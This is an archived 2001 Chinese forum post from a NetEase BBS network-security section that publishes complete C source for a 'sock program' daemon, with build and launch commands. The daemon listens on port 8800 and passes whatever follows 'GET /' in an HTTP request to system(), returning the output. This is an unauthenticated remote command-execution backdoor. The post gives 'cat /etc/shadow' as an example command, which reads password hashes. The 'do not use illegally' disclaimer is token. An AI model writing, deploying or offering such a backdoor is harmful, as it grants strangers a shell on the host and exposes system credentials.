精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● FreeBSD>>网络安全>>公布一个sock程序(请勿用于非法目的)

主题:公布一个sock程序(请勿用于非法目的)
发信人: SunGang()
整理人: zhcharles(2001-06-17 19:58:48), 站内信件
象 vi 这样的交互式程序就有些麻烦。


/*
* filename: daemon.c
* Author: bobdai
*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define SA struct sockaddr

main()
{
    int n, listenfd, connfd;
    char rbuf[1024], wbuf[1024], cbuf[256], *str;
    FILE *fp;

    struct sockaddr_in servaddr;

    if( (listenfd=socket(AF_INET, SOCK_STREAM, 0)) <0 )
perror( "socket" ), exit(0);
bzero( &servaddr, sizeof(servaddr) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl( INADDR_ANY );
servaddr.sin_port = htons( 8800 );
if( bind(listenfd, (SA *)&servaddr, sizeof(servaddr)) <0 )
perror( "bind" ), exit(0);
if( listen(listenfd, 10) <0 )
perror( "listen" ), exit(0);

for(;;)
{
bzero( cbuf, 256 );
bzero( wbuf, 1024);
if( (connfd=accept(listenfd, (SA *)NULL, NULL)) <0 )
perror( "accept" ), exit(0);
if( read(connfd, rbuf, 1024) <0 )
perror( "read" ), exit(0);
if( (fp=fopen("^tempfile^", "w")) == NULL)
perror( "open tempfile error"), exit(0);
fclose( fp );
str = strstr( rbuf, "GET /" );
str += 5;
for( n=0; *str != ' '; n++ )
{
if( *str == '%' )
{
str += 3;
*(cbuf+n) = ' ';
}
else *(cbuf+n)=*(str++);
}
strcat( cbuf, ">^tempfile^" );
        printf( "%s\n", cbuf );
        system( cbuf );
        if( (fp=fopen("^tempfile^", "r")) == NULL) 
        perror( "open tempfile error"), exit(0);
        strcpy( wbuf, "Result:<br>" );
        if( write(connfd, wbuf, strlen(wbuf)) <0 )
perror( "write" ), exit(0);
fgets( wbuf, 1000, fp );
while( !feof(fp) )
{
strcat( wbuf, "<br>" );
            if( write(connfd, wbuf, strlen(wbuf)) <0 )
perror( "write" ), exit(0);
fgets( wbuf, 1000, fp );
}
fclose( fp );
unlink( "^tempfile^" );
close( connfd );
}
}
============================================================
#!/bin/sh
cc -o daemon daemon.c
============================================================
./daemon &
============================================================
http://主机名:8800/cat /etc/shadow 就能在浏览器里看到 /etc/shadow 的内容。

--

笨笨的憨头
_________________________________
 # whois [email protected]         
         # finger [email protected]
         icq: 2499593                    祝你在cntomi每天都快乐http://www.cntomi.com嘻嘻ttp://sungang.cntomi.com/※ 来源:.网易 BBS bbs.netease.com.[FROM: 61.140.188.167]

[关闭][返回]